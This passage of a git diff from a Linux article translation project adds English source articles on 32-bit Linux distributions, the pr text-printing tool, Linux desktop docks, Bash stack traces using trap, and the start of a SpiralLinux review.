32-bit variant among other architectures. + +At its core, it uses musl and BusyBox instead of GNU tools and packages. Also, Alpine uses OpenRC as init system. + +This independent Linux is perfect for containers and hypervisors and boasts about its security. Perhaps, not so suitable for usual desktop usage. However, the popular PostmarketOS mobile Linux OS platform is based on Alpine Linux. + +![Alpine Logo][21] + +#### Alpine Linux advantages + +* Independent Linux distro +* Not based on GNU toolchain (uses musl and BusyBox) +* APK package manager +* Suitable for containers and Hypervisors +* Well secured at the core level + +[Download AlpineLinux][22] + +### List of significant distros that dropped support of 32-bit recently + +Since you went thru the above list, it’s always to remember that a bunch of distros which depended on Ubuntu dropped their 32-bit support. From the version Ubuntu 20.04 Focal Fossa, Ubuntu officially closed the support for 32-bit. Hence all the Ubuntu-LTS variants are also forced to follow this decision. + +Here’s a brief list of awesome distros which unfortunately discontinued the 32-bit support in the recent past. + +* Linux Mint 20 and above +* Puppy Linux 9.5 and above +* Ubuntu 20.04 LTS Focal Fossa and above +* All the official Ubuntu flavours (such as Lubuntu and Xubuntu) from 20.04 onwards + +### Closing Notes + +You can rest assured that there will always be support for 32-bit Linux distributions to support older hardware. If a day comes when all distro stops support, Debian will always support all hardware possible. That’s the beauty of Debian. + +Also, other niche distros, such as Puppy and Void Linux – will continue to support 32-bit hardware in the coming days. Because they are built with this purpose only. + +Finally, I hope this list helps you to pick the best 32-bit distro for your PC or hardware. Also, don’t forget to check out the [best lightweight distros][23] for older hardware which contain 64-bit distros for older hardware. + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/32-bit-linux-distributions/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[0]: https://www.debugpoint.com/wp-content/uploads/2022/07/32bitdistrohd.jpg +[1]: https://www.debugpoint.com/category/desktop-environment +[2]: https://www.debugpoint.com/wp-content/uploads/2022/07/512_debian.png +[3]: https://www.debugpoint.com/install-debian-buster/ +[4]: https://www.debian.org/distrib/ +[5]: https://www.debugpoint.com/wp-content/uploads/2022/05/MX-Linux.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2022/07/mx-linux-logo-2.png +[7]: https://mxlinux.org/download-links/ +[8]: https://www.debugpoint.com/wp-content/uploads/2022/07/512_q4os_lightblue.png +[9]: https://www.q4os.org/downloads1.html +[10]: https://nixos.org/ +[11]: https://www.debugpoint.com/wp-content/uploads/2022/07/512_void.png +[12]: https://voidlinux.org/download/ +[13]: https://www.debugpoint.com/wp-content/uploads/2022/05/Zorin-OS.jpg +[14]: https://zorin.com/os/download/15/lite/32/ +[15]: https://www.debugpoint.com/wp-content/uploads/2022/07/Porteus-Logo.png +[16]: http://www.porteus.org/ +[17]: https://www.debugpoint.com/wp-content/uploads/2022/07/512_antix.png +[18]: https://antixlinux.com/download/ +[19]: https://www.debugpoint.com/wp-content/uploads/2022/07/512_bunsenlabs_yellow_black.png +[20]: https://www.bunsenlabs.org/installation.html +[21]: https://www.debugpoint.com/wp-content/uploads/2022/07/512_alpine.png +[22]: https://alpinelinux.org/downloads/ +[23]: https://www.debugpoint.com/lightweight-linux-distributions-2022/ diff --git a/sources/tech/20220728 Use this nifty Unix tool to process text on Linux.md b/sources/tech/20220728 Use this nifty Unix tool to process text on Linux.md new file mode 100644 index 0000000000..ade2a7defa --- /dev/null +++ b/sources/tech/20220728 Use this nifty Unix tool to process text on Linux.md @@ -0,0 +1,213 @@ +[#]: subject: "Use this nifty Unix tool to process text on Linux" +[#]: via: "https://opensource.com/article/22/7/process-text-linux-pr" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Use this nifty Unix tool to process text on Linux +====== +The pr tool prepares text documents for printing. + +![5 trends in open source documentation][1] + +Image by: Internet Archive Book Images. Modified by Opensource.com. CC BY-SA 4.0 + +Unix has always excelled at processing text, and Linux is no different. And the tools to work with and transform text files still exist on all Linux systems. + +Like other computer systems, early Unix printed on paper, using a typewriter-style printing device. These printers provided limited formatting options, but with clever application of Unix tools, you could prepare professional-looking documents. + +One such tool was the `pr` tool, to prepare text documents for printing. Let's explore how to use standard Unix tools, such as the `pr` processor and the `fmt` text formatter, to prepare text files for printing on a typewriter-style printer. + +### Printing a plain text file + +Let's say we wanted to print the MIT license, stored in a file called mit.txt. This file is already formatted for optimal screen display; lines are almost 80 columns wide, which fits well on a standard terminal. + +``` +$ cat mit.txt +Copyright (c) + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. +``` + +![Image of standard 80 column terminal][3] + +Image by: (Jim Hall, CC BY-SA 40) + +Printer paper is also 80 columns wide, at least on the classic printers. So we can also print the file to our printer using a command like `lpr`. But that's not a very interesting way to print the file, and it won't be very nice to read. For example, the document will start on the first line of the printed page, and immediately on the left edge of the paper. + +We can make the document easier to read by using the `pr` command to add a top margin. By default, `pr` includes the date and time, the name of the file, and the page number in the top header. For example, the top of our file might look like this: + +``` +$ pr mit.txt | head + + +2022-06-24 18:27 mit.txt Page 1 + + +Copyright (c) + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +``` + +In this example, I've used the `head` command to look at just the first ten lines of the `pr` output. The `pr` command also adds extra blank lines at the bottom of the page, to provide a bottom margin. The old-style typewriter printers used 66 lines per page, so the `pr` output assumes that too. But this file prints on one page, so I don't need to show the bottom of the file; it's just some blank lines. + +### Adding a left and right margin + +Adding the top margin makes the document easier to read, but we can do better by adding space on the left and right of the printed page. This effectively adds a left and right margin to our document. + +The first step is to use the `fmt` command to reformat the text file to a different width. Using `fmt -w 70` reformats the text file to use lines that are 70 columns wide. We can add some blank space on the left of the document to create a left margin. Using `pr -o 5` adds 5 spaces to the start of each line of the output. With the narrower text, we'll also have about 5 spaces in the right margin. + +``` +$ fmt -w 70 mit.txt | pr -o 5 | head + + + 2022-06-24 18:35 Page 1 + + + Copyright (c) + + Permission is hereby granted, free of charge, to any person obtaining + a copy of this software and associated documentation files (the + "Software"), to deal in the Software without restriction, including +``` + +This is how Unix users printed plain text files. You can use the same set of commands to print text files on a modern laser printer, but your printer may *expect a page feed* command instead of using blank lines. To do that, add the `-f` option to the `pr` command, like this: + +``` +$ fmt -w 70 mit.txt | pr -f -o 5 | lpr +``` + +I'll omit the `-f` in the rest of this article, but remember to add `-f` to the `pr` command if you want to print documents to a modern laser printer. + +### Changing the header + +You may notice that when we redirect the output of `fmt` to the `pr` command, the `pr` output no longer shows the name of the file. That's because when we chain several commands together like this, the `pr` command doesn't know the filename, so it's left blank. We can add the filename to the header by using the `-h` option: + +``` +$ fmt -w 70 mit.txt | pr -h 'mit.txt' -o 5 | head + + + 2022-06-24 18:45 mit.txt Page 1 + + + Copyright (c) + + Permission is hereby granted, free of charge, to any person obtaining + a copy of this software and associated documentation files (the + "Software"), to deal in the Software without restriction, including +``` + +You can make other changes to the header, such as the -D option to change the date and time format, or replace it with new text. + +``` +$ fmt -w 70 mit.txt | pr -D '6/24/2022' -h 'mit.txt' -o 5 | head -30 + + + 6/24/2022 mit.txt Page 1 + + + Copyright (c) + + Permission is hereby granted, free of charge, to any person obtaining + a copy of this software and associated documentation files (the + "Software"), to deal in the Software without restriction, including + without limitation the rights to use, copy, modify, merge, publish, + distribute, sublicense, and/or sell copies of the Software, and to + permit persons to whom the Software is furnished to do so, subject + to the following conditions: + + The above copyright notice and this permission notice shall be + included in all copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY + KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE + WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND + NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS + BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN + AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR + IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + THE SOFTWARE. +``` + +### Printing two columns + +What if you wanted to make a text document look really fancy on the printed page? Certain documents such as technical articles might need to be printed in a two-column layout. The `pr` command can print text in multiple columns. For example, `-2` prints in two columns and -3 will print in three columns. + +However, be careful when printing text in multiple columns. If the lines are too long, `pr` may simply overlap one column with another, effectively losing text in the output. But we can leverage the `fmt` command to reformat the text to a narrower width, suitable for printing in two column format. + +Let's do the math: If the printed page is 80 columns wide, and we've left 5 spaces on the left and right as page margins, that leaves 70 columns for our text. Using `fmt -w 35` would cut the text neatly in half for two columns, but we may not leave much space between the columns. Instead, let's use `fmt -w 33` to reformat the text width to 33 before sending the output to the `pr` command: + +``` +$ fmt -w 33 mit.txt | pr -2 -D '6/24/2022' -h 'mit.txt' -o 5 | head -30 + + + 6/24/2022 mit.txt Page 1 + + + Copyright (c) substantial portions of the + Software. + Permission is hereby granted, + free of charge, to any person THE SOFTWARE IS PROVIDED + obtaining a copy of this "AS IS", WITHOUT WARRANTY OF + software and associated ANY KIND, EXPRESS OR IMPLIED, + documentation files (the INCLUDING BUT NOT LIMITED TO THE + "Software"), to deal in the WARRANTIES OF MERCHANTABILITY, + Software without restriction, FITNESS FOR A PARTICULAR PURPOSE + including without limitation the AND NONINFRINGEMENT. IN NO + rights to use, copy, modify, EVENT SHALL THE AUTHORS OR + merge, publish, distribute, COPYRIGHT HOLDERS BE LIABLE + sublicense, and/or sell copies FOR ANY CLAIM, DAMAGES OR OTHER + of the Software, and to permit LIABILITY, WHETHER IN AN ACTION + persons to whom the Software is OF CONTRACT, TORT OR OTHERWISE, + furnished to do so, subject to ARISING FROM, OUT OF OR IN + the following conditions: CONNECTION WITH THE SOFTWARE + OR THE USE OR OTHER DEALINGS IN + The above copyright notice and THE SOFTWARE. + this permission notice shall + + + + +$ +``` + +Unix is a great platform for processing text. While we use other tools today, including HTML in web browsers and PDF for printable content, it's nice to know how to use the existing Unix tools to create professional plain text documents. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/process-text-linux-pr + +作者:[Jim Hall][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/documentation-type-keys-yearbook.png +[2]: https://opensource.com/article/22/7/fmt-trivial-text-formatter +[3]: https://opensource.com/sites/default/files/2022-07/Imageofstandardterminal.png diff --git a/sources/tech/20220729 7 Docks to Customize Your Linux Desktop.md b/sources/tech/20220729 7 Docks to Customize Your Linux Desktop.md new file mode 100644 index 0000000000..8312558944 --- /dev/null +++ b/sources/tech/20220729 7 Docks to Customize Your Linux Desktop.md @@ -0,0 +1,188 @@ +[#]: subject: "7 Docks to Customize Your Linux Desktop" +[#]: via: "https://itsfoss.com/best-linux-docks/" +[#]: author: "Sagar Sharma https://itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +7 Docks to Customize Your Linux Desktop +====== +A dock has been an important part of the Linux desktop experience for decades. It provides a handy way of quickly accessing your favorite, frequently used applications. + +Unfortunately, the popular desktop environment GNOME doesn’t provide a dock. + +Fret not. You can always install a Docking application on your Linux desktop. + +And this is not just limited to GNOME. If you don’t like the dock provided by your distribution and the [desktop environment][1], you can replace it with another one of your choices. + +Speaking of choices, let me share some of my favorite docks that will help you change the default look of your desktop Linux. + +I have added installation instructions for Ubuntu. You may find these docks in your distribution’s repositories and install it using your distribution’s package manager. + +### 1. Plank + +![plank][2] + +Plank is the default dock in Elementary OS, one of the most [beautiful Linux distros][3]. But this was not the only reason why Plank exists on this list. + +It gives you the simplest dock you can get for its functionality. + +Hence, it is also light on system resources, so pairing it with your favorite window manager can be a good idea (sadly, you won’t get many customization options). + +You can also experience the fine implementation of Plank dock in other distros such as Ubuntu MATE and others. + +To install Plank on Ubuntu derivatives, use the given command: + +``` +sudo apt install plank +``` + +[Plank][4] + +### 2. Latte + +![Latte Dock][5] + +Being part of the KDE ecosystem, Latte is one of the most configurable docks available. From having various custom profiles to changing the behavior of each element, Latte surely deserves to be on this list. + +The only drawback of Latte is dependencies. Latte can be a bit heavy on system resources as it will be bundled with various KDE apps by default and Wayland is still not supported. + +But if you are already using some apps from KDE or if dependencies don’t concern you, Latte will be good for its looks and customization options. + +You can [install Latte on Ubuntu-based distributions][6] using: + +``` +sudo apt install latte +``` + +[Latte][7] + +### 3. Dash to Dock + +![Dash to Dock on Ubuntu][8] + +A popular GNOME extension that allows users to change the behavior of how the default dash on GNOME behaves. + +As an extension, it is easy to install, and you do not have much to worry about regarding dependencies at all. Extensions are extremely light on resources. You can use the [Extension Manager][9] or follow our guide to [install the GNOME extension][10]. + +For more information, you can visit their [official GNOME extension page][11]. + +[Dash to Dock][12] + +### 4. Cairo + +![Cairo Dock on Ubuntu][13] + +If you prefer old-school animation and theming like myself, nothing beats Cairo! This may look a bit outdated but by default, you get various themes pre-installed to match your desktop. + +Rather than compiling each customization option in a single menu, we get subsections for customizing one element at a time and trust me, it nails it. + +Unlike other options in the list, you get various add-ons and sections from which you can enhance the functionality of the dock and also get some pre-installed themes to start with. + +It’s a bit heavy on system resources as it will constantly utilize animations. To install Cairo on an Ubuntu-based system, use the given command: + +``` +sudo apt install cairo-dock cairo-dock-plug-ins +``` + +[Cairo][14] + +### 5. DockbarX + +![DockbarX][15] + +**Note:** The last release was in 2019. + +So if you are looking for a dock that can also function in panel mode, DockbarX can be your next dock, especially if you are using Xfce DE. + +It is a simple dock you can try with any desktop environment. + +DockbarX is one of those docks which enables you to tweak the way you interact with it. From the dock’s background, and themes to notifications, everything can be tweaked. + +The installation is basic, and if you are using an Ubuntu-based distro, you can easily install DockbarX by using the given command: + +``` +sudo apt install dockbarx-themes-extra +``` + +[DockbarX][16] + +### 6. KSmoothDock + +![KSmoothDock][17] + +If you want something that adds a glassy-finish/premium touch to your Linux desktop, KSmoothDock is what you’re looking for. + +KSmoothDock is meant to be paired with KDE Plasma, but it blends quite well with GNOME too. It brings a parabolic effect similar to macOS and has an application launcher, pages, and other helpful features for daily usage. + +The major disadvantage of KSmoothDock is that it requires a modern set of software and will not work on old kernels. Installation is complex, especially if you are not using Debian derivatives. + +To download the .deb file, visit their [official download page][18]. In either case, you can choose to compile it from scratch if you’re comfortable. + +[KSmoothDock][19] + +### 7. Tint2: Dock for Window Managers + +![Tint2 Dock][20] + +**Note:** Its last release was in 2019. + +Tint2 is a widely used dock/panel, when coupled with window managers, and in terms of customization, probably no one comes close to this. + +This might not be a good choice if you are a beginner but suitable for advanced users who love to tinker with each element available on DE. + +You will find Tint2 in default repositories of almost every Linux distribution and if you are still confused about how to install Tint2 on Ubuntu, type the following command: + +``` +sudo apt install tint2 +``` + +To reduce your efforts in customization, I found a set of pre-defined themes on [Github][21] which is created by considering each type of user in mind. + +[Tint2][22] + +### What’s Your Favorite Linux Dock? + +Docks are one of the several ways you can customize your desktop. Other methods include using different icons and themes, wallpapers, terminal colors, extensions and more. + +I have listed the best Linux docks, in my opinion. Some of the popular options haven’t seen a new release in the last few years but they may still be found in your distribution’s repositories. + +What do you prefer to use among the listed Linux docks? Did we miss any of your favorites? Please let me know your thoughts in the comments below. + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/best-linux-docks/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/what-is-desktop-environment/ +[2]: https://itsfoss.com/wp-content/uploads/2022/07/Plank.png +[3]: https://itsfoss.com/beautiful-linux-distributions/ +[4]: https://github.com/ricotz/plank +[5]: https://itsfoss.com/wp-content/uploads/2022/07/Latte.png +[6]: https://itsfoss.com/install-use-latte-dock-ubuntu/ +[7]: https://github.com/KDE/latte-dock +[8]: https://itsfoss.com/wp-content/uploads/2022/07/desk-to-dock.png +[9]: https://itsfoss.com/extension-manager/ +[10]: https://itsfoss.com/gnome-shell-extensions/ +[11]: https://extensions.gnome.org/extension/307/dash-to-dock/ +[12]: https://github.com/micheleg/dash-to-dock +[13]: https://itsfoss.com/wp-content/uploads/2022/07/cairo.png +[14]: https://glx-dock.org/ +[15]: https://itsfoss.com/wp-content/uploads/2022/07/dockbarx-1.png +[16]: https://github.com/M7S/dockbarx +[17]: https://itsfoss.com/wp-content/uploads/2022/07/KsmoothDOck.png +[18]: https://store.kde.org/p/1081169/ +[19]: https://store.kde.org/p/1081169/ +[20]: https://itsfoss.com/wp-content/uploads/2022/07/Tint2.png +[21]: https://github.com/addy-dclxvi/tint2-theme-collections +[22]: https://github.com/o9000/tint2/blob/master/doc/tint2.md diff --git a/sources/tech/20220729 Fix bugs in Bash scripts by printing a stack trace.md b/sources/tech/20220729 Fix bugs in Bash scripts by printing a stack trace.md new file mode 100644 index 0000000000..2199fc74f0 --- /dev/null +++ b/sources/tech/20220729 Fix bugs in Bash scripts by printing a stack trace.md @@ -0,0 +1,254 @@ +[#]: subject: "Fix bugs in Bash scripts by printing a stack trace" +[#]: via: "https://opensource.com/article/22/7/print-stack-trace-bash-scripts" +[#]: author: "Evan "Hippy" Slatis https://opensource.com/users/hippyod" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Fix bugs in Bash scripts by printing a stack trace +====== +Automatically printing a stack trace on unhandled errors in your scripts can make finding and fixing bugs in your code much easier. + +![Bug tracking magnifying glass on computer screen][1] + +Image by: Pixabay, testbytes, CC0 + +No one wants to write bad code, but inevitably bugs will be created. Most modern languages like Java, JavaScript, Python, etc., automatically print a stack trace when they encounter an unhandled exception, but not shell scripts. It would make it much easier to find and fix bugs in shell scripts if you could print a stack trace, and, with a little work, you can. + +Shell scripts can span multiple files, and well-written code is further broken down into functions. Tracing issues when something goes wrong in a shell script can be difficult when these scripts get large enough. A stack trace that walks the code backward from the error to the beginning can show you where your code failed and give you a better understanding of why so you can fix it properly. + +To implement the stack trace, I use the [trap][2] in the following manner at the beginning of my script: + +``` +set -E + +trap 'ERRO_LINENO=$LINENO' ERR +trap '_failure' EXIT +``` + +This example accomplishes a few things, but I'll address the second one, **trap 'ERRO_LINENO=$LINENO' ERR**, first. This line ensures the script traps all commands that exit with a non-zero exit code (i.e., an error), and saves the line number of the command in the file where the error was signaled. This is not captured on exit. + +The first line above (**set -E**) ensures that the error trap is inherited throughout the script. Without this, whenever you drop into an **if** or **until** block, for example, you'd lose track of the correct line number. + +The second trap captures the exit signal from the script and sends it to the **_failure** function, which I'll define in a moment. But why on exit and not error if you're trying to debug the script? In bash scripts, command failures are often used in control logic or can be ignored outright as unimportant by design. For example, say at the beginning of your script, you're looking to see if a particular program is already installed before asking the user whether they'd like you to install it for them: + +``` +if [[ ! -z $(command -v some_command) ]] +then +   # CAPTURE LOCATION OF some_command +   SOME_COMMAND_EXEC=$(which some_command) +else +   # echo $? would give us a non-zero value here; i.e. an error code +   # IGNORE ERR: ASK USER IF THEY WANT TO INSTALL some_command +fi +``` + +If you were to stop processing on every error and some_command is not installed, this would prematurely end the script, which is obviously not what you want to do here, so in general, you only want to log an error and stack trace when the script has exited unintentionally because of an error. + +To force your script to exit whenever there's an unexpected error, use the **set -e** option: + +``` +set -e +# SCRIPT WILL EXIT IF ANY COMMAND RETURNS A NON-ZERO CODE +# WHILE set -e IS IN FORCE +set +e +# COMMANDS WITH ERRORS WILL NOT CAUSE THE SCRIPT TO EXIT HERE +``` + +The next question is, what are some examples where you would probably like your script to exit and highlight a failure? Common examples include the following: + +1. An unreachable remote system +2. Authentication to a remote system fail +3. Syntax errors in config or script files being sourced +4. Docker image builds +5. Compiler errors + +Combing through many pages of logs after a script completes looking for any possible errors that may be hard to spot can be extremely frustrating. It's even more frustrating when you discover something is wrong long past the time you ran the script and now have to comb through multiple sets of logs to find what might have gone wrong and where. Worst is when the error has been around for a while, and you only discover it at the worst possible time. In any case, pinpointing the problem as quickly as possible and fixing it is always the priority. + +Look at the sample stack trace code (available for [download here][3]): + +``` +# Sample code for generating a stack trace on catastrophic failure + +set -E + +trap 'ERRO_LINENO=$LINENO' ERR +trap '_failure' EXIT + +_failure() { +  ERR_CODE=$? # capture last command exit code +  set +xv # turns off debug logging, just in case +  if [[  $- =~ e && ${ERR_CODE} != 0 ]] +  then +      # only log stack trace if requested (set -e) +      # and last command failed +      echo +      echo "========= CATASTROPHIC COMMAND FAIL =========" +      echo +      echo "SCRIPT EXITED ON ERROR CODE: ${ERR_CODE}" +      echo +      LEN=${#BASH_LINENO[@]} +      for (( INDEX=0; INDEX<$LEN-1; INDEX++ )) +      do +          echo '---' +          echo "FILE: $(basename ${BASH_SOURCE[${INDEX}+1]})" +          echo "  FUNCTION: ${FUNCNAME[${INDEX}+1]}" +          if [[ ${INDEX} > 0 ]] +          then +           # commands in stack trace +              echo "  COMMAND: ${FUNCNAME[${INDEX}]}" +              echo "  LINE: ${BASH_LINENO[${INDEX}]}" +          else +              # command that failed +              echo "  COMMAND: ${BASH_COMMAND}" +              echo "  LINE: ${ERRO_LINENO}" +          fi +      done +      echo +      echo "======= END CATASTROPHIC COMMAND FAIL =======" +      echo +  fi +} + +# set working directory to this directory for duration of this test +cd "$(dirname ${0})" + +echo 'Beginning stacktrace test' + +set -e +source ./testfile1.sh +source ./testfile2.sh +set +e + +_file1_function1 +``` + +In the `stacktrace.sh` above, the first thing the **_failure** function does is capture the exit code of the last command using the built-in shell value **$?**. It then checks whether the exit was unexpected by checking the output of **$-**, a built-in shell value that holds the current bash shell settings, to see if **set -e** is in force. If the script exited on an error and the error was unexpected, the stack trace is output to the console. + +The following built-in shell values are used to build the stack trace: + +1. BASH_SOURCE: Array of filenames where each command was called back to the main script. +2. FUNCNAME: Array of line numbers matching each file in BASH_SOURCE. +3. BASH_LINENO: Array of line numbers per file matching BASH_SOURCE. +4. BASH_COMMAND: Last command executed with flags and arguments. + +If the script exits with an error in an unexpected manner, it loops over the above variables and outputs each one in order so a stack trace can be built. The line number of the failed command is not held in the above arrays, but that's why you captured the line number each time a command failed with the first trap statement above. + +### Putting it all together + +Create the following two files to support the test, so you can see how the information is gathered across multiple files. First, `testfile1.sh` : + +``` +_file1_function1() { +   echo +   echo "executing in _file1_function1" +   echo + +   _file2_function1 +} + +# adsfadfaf + +_file1_function2() { +   echo +   echo "executing in _file1_function2" +   echo +  +   set -e +   curl this_curl_will_fail_and_CAUSE_A_STACK_TRACE + +   # function never called +   _file2_does_not_exist +} +``` + +And next, `testfile2.sh` : + +``` +_file2_function1() { +   echo +   echo "executing in _file2_function1" +   echo + +   curl this_curl_will_simply_fail + +   _file1_function2 +} +``` + +NOTE: If you create these files yourself, make sure to make the `stacktrace.sh` file executable. + +Executing `stacktrace.sh` will output the following: + +``` +~/shell-stack-trace-example$./stracktrace.sh +Beginning stacktrace test + +executing in _file1_function1 + +executing in _file2_function1 +curl: (6) Could not resolve host: this_curl_will_simply_fail + +executing in _file1_function2 +curl: (6) Could not resolve host: this_curl_will_fail_and_CAUSE_A_STACK_TRACE + +========= CATASTROPHIC COMMAND FAIL ========= + +SCRIPT EXITED ON ERROR CODE: 6 + +--- +FILE: testfile1.sh +  FUNCTION: _file1_function2 +  COMMAND: curl this_curl_will_fail_and_CAUSE_A_STACK_TRACE +  LINE: 15 +--- +FILE: testfile2.sh +  FUNCTION: _file2_function1 +  COMMAND: _file1_function2 +  LINE: 7 +--- +FILE: testfile1.sh +  FUNCTION: _file1_function1 +  COMMAND: _file2_function1 +  LINE: 5 +--- +FILE: stracktrace.sh +  FUNCTION: main +  COMMAND: _file1_function1 +  LINE: 53 + +======= END CATASTROPHIC COMMAND FAIL ======= +``` + +For extra credit, try uncommenting the line in `testfile1.sh` and executing `stacktrace.sh` again: + +``` +# adsfadfaf +``` + +Then re-comment the line, and instead comment out the following line in `testfile1.sh` that caused a stack trace and run `stacktrace.sh` one last time: + +``` +curl this_curl_will_fail_and_CAUSE_A_STACK_TRACE +``` + +This exercise should give you an idea of the output and when it occurs if you have typos in your scripts. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/print-stack-trace-bash-scripts + +作者:[Evan "Hippy" Slatis][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/hippyod +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/bug_software_issue_tracking_computer_screen.jpg +[2]: https://man7.org/linux/man-pages/man1/trap.1p.html +[3]: https://github.com/hippyod-labs/shell-stack-trace-example diff --git a/sources/tech/20220730 SpiralLinux- The New Distro Making Debian Easier for Beginners.md b/sources/tech/20220730 SpiralLinux- The New Distro Making Debian Easier for Beginners.md new file mode 100644 index 0000000000..e3d21f6092 --- /dev/null +++ b/sources/tech/20220730 SpiralLinux- The New Distro Making Debian Easier for Beginners.md @@ -0,0 +1,199 @@ +[#]: subject: "SpiralLinux: The New Distro Making Debian Easier for Beginners" +[#]: via: "https://itsfoss.com/spirallinux-review/" +[#]: author: "Sagar Sharma https://itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +SpiralLinux: The New Distro Making Debian Easier for Beginners +====== +SpiralLinux is a new entrant in the world of desktop-focused Linux distributions. + +It is based on Debian Linux and created by the unnamed developer of [GeckoLinux][1]. + +Gecko what? [GeckoLinux][2] is a derivative of openSUSE and focuses on providing out-of-the-box usability to desktop users. + +The aim for [SpiralLinux][3] is also the same. Provide an out-of-the-box usable Debian experience to desktop users. + +Is Debian really that complex? While Debian is considered the most stable distro, the vanilla Debian often overwhelms new users with multiple download options. The focus on FOSS-only software by default policy also makes things difficult for beginners. It requires various tweaks after the first boot to make it useful. + +And those are the areas where SpiralLinux shines! + +Through this article, I’m going to walk you through the features of SpiralLinux and share my experience, so you can have a better idea of what to expect from SpiralLinux. + +### SpiralLinux: Debian simplified + +The first question that will come to your mind is why another [Debian-based distro][4]? The core idea behind SpiralLinux is to get you a well-tuned Debian that can be used out of the box. + +If you [try installing Debian][5], you’ll notice a number of download options but they do not include proprietary drivers and codecs which are necessary for modern hardware (including mine). Getting the right ISO itself is the first struggle. + +Not to forget that you’ll have to further tweak your vanilla Debian system to make it work with your hardware. + +SpiralLinux aims to address those pain points by providing several pre-installed software, performance tweaks and proprietary drivers and codecs support. + +Some key highlighting features are as follows: + +* Ships with a wide range of drivers to support a variety of hardware +* zRAM is enabled by default for better performance +* It can be upgraded to Debian testing Unstable branches with just a few clicks +* It uses Linux kernel 5.18 out of the box to support the most recent hardware +* Proprietary media codecs are pre-installed +* Third-party Debian repositories are enabled by default +* ISOs available for Cinnamon, Xfce, GNOME, KDE, MATE, Budgie, and LXQt desktop environments +* An experimental “builder” ISO for experts + +![SpiralLinux DE offerings][6] + +#### System Requirements + +There’s no mention of 32-bit or ARM support in the official documentation. You only get a single download option for a 64-bit system. + +As SpiralLinux is entirely based on Debian stable, these are the standard system requirements for 64-bit machines: + +* RAM: 2 GB or higher (Depends on the [desktop environment][7] you choose) +* Processor: Dual-core or higher +* Disk: 15 GB or higher + +#### Installation + +![Calamares installer for SpiralLinux][8] + +As you expect from any easy-to-use Linux distro, SpiralLinux provides a graphical installer. Avid distrohoppers can easily see that it uses Calamares installer. + +The installer has all the necessary features you expect such as manual/auto partitioning, disk encryption, changing bootloader location, and so on. + +You can choose Btrfs as the default file system while installing SpiralLinux. + +### My Experience with SpiralLinux + +Experience. This is what really matters in the end because adding tons of features can only reduce steps after the first boot. + +Like any other thing in the world, SpiralLinux has some good and some bad points. I’ll be addressing both pros and cons so that you can have a better idea. + +#### Positives + +Let’s start this review with positives, which includes the parts which I enjoyed. + +##### Hardware support + +My system is equipped with modern hardware and requires a modern kernel. By far, I never thought I would be able to boot into Debian 11, but this changed my mind. + +By default, you get Linux Kernel 5.18, which is newer than what you get on vanilla Debian (5.10 series) and works well on my 12th gen Intel CPU. + 